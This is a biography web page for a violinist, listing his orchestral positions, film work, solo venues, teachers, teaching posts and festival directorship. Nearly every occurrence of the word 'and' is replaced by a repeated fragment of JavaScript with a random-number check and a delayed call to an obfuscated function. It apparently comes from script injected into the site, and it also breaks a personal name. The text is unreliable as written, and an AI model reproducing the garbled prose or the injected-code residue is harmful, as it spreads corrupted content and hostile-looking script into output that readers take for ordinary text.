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Daniel Bhattacharya – Leader

Daniel Bhattacharya

Previously a member of the Royal Philharmonic Orchestra andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the Royal Scottish National Orchestra, Daniel enjoys a career performing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and teaching throughout the world.

Daniel has worked with many ensembles performing in principal positions in orchestras such as: BBC Scottish Symphony, English National Opera, Bournemouth Symphony, Royal Liverpool Philharmonic, BBC Concert Orchestra, City of Birmingham Symphony Orchestra andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the Royal Philharmonic Orchestra. Daniel is currently principal 2nd of the London Concert Orchestra andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and leads ensembles such as the Brighton Philharmonic, London Concertante andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the London Gala Orchestra. In addition Daniel has worked with the London Symphony, London Philharmonic, Philharmonia, BBC Symphony Orchestra, London Sinfonietta, Scottish Ensemble andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Glydebourne Festival andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Touring Opera.

Daniel has performed on many film soundtracks, such as the Lord of the Rings, Ronin, Blue Planet andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Ladies in Lavendar. In 2008 Daniel was asked to lead the new musical Marguerite, at the Haymarket Theatre, London.

As a soloist andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and chamber musician, Daniel has performed at the Wigmore Hall (London), Carnegie Hall (New York), Sheldonian Theatre (Oxford) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Queen Elizabeth Hall (London). Festivals include Brighton, Lichfield, Aix-en-Provence andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Cheltenham. Recent solo performances have taken him to Spain, Canada, USA, France andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and India. He has made broadcasts for BBC radio, Canada andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Russian radio andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and TV.

Daniel regularly collaborates with the composer andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and multi-instrumentalist Tunde Jegede. This has resulted in many performances andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and recordings, the last of which, ‘Nomad’, was released in 2007.

Daniel studied as a scholar at the Purcell School of Music, Royal Northern College of Music andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the Royal Conservatory of Music (Canada). His violin teachers have included Yossi Zivoni, Yfrah Neaman andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Lorandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Fenyves. He studied chamber music with Leon Fleisher, Jamie Laredo andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Nick Roth.

Daniel is also an enthusiastic teacher andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and coach. Formerly Head of Strings at Stowe School he is now violin tutor at Lancing College andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Peter Symonds College, Winchester. Daniel works with many Youth Orchestras nationally andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and internationally andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and regularly coaches at the Royal College of Music.

In 2002 he was invited to judge the Sri Lanka Music Competition in Colombo. In 2008 Daniel was asked to adjudicate the prestigious Violin Competition at the Royal College of Music, London. Daniel has also been on the panel for the ARCM diplomas at the Royal College of Music. He is passionate about education andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and has led masterclasses around the world. In 2010 Daniel was in Bangkok as part of the Annual Festival of Music andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Dance. 2011 took him to Ghana for workshops andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and performances with the Ghanaian National Symphony Orchestra.

Daniel is co-founder andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and artistic director of the Alfriston Summer Music Festival in Sussex, UK. The Festival regularly features artists such as Dame Felicity Lott, Lei-Wei andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Karine Georgian.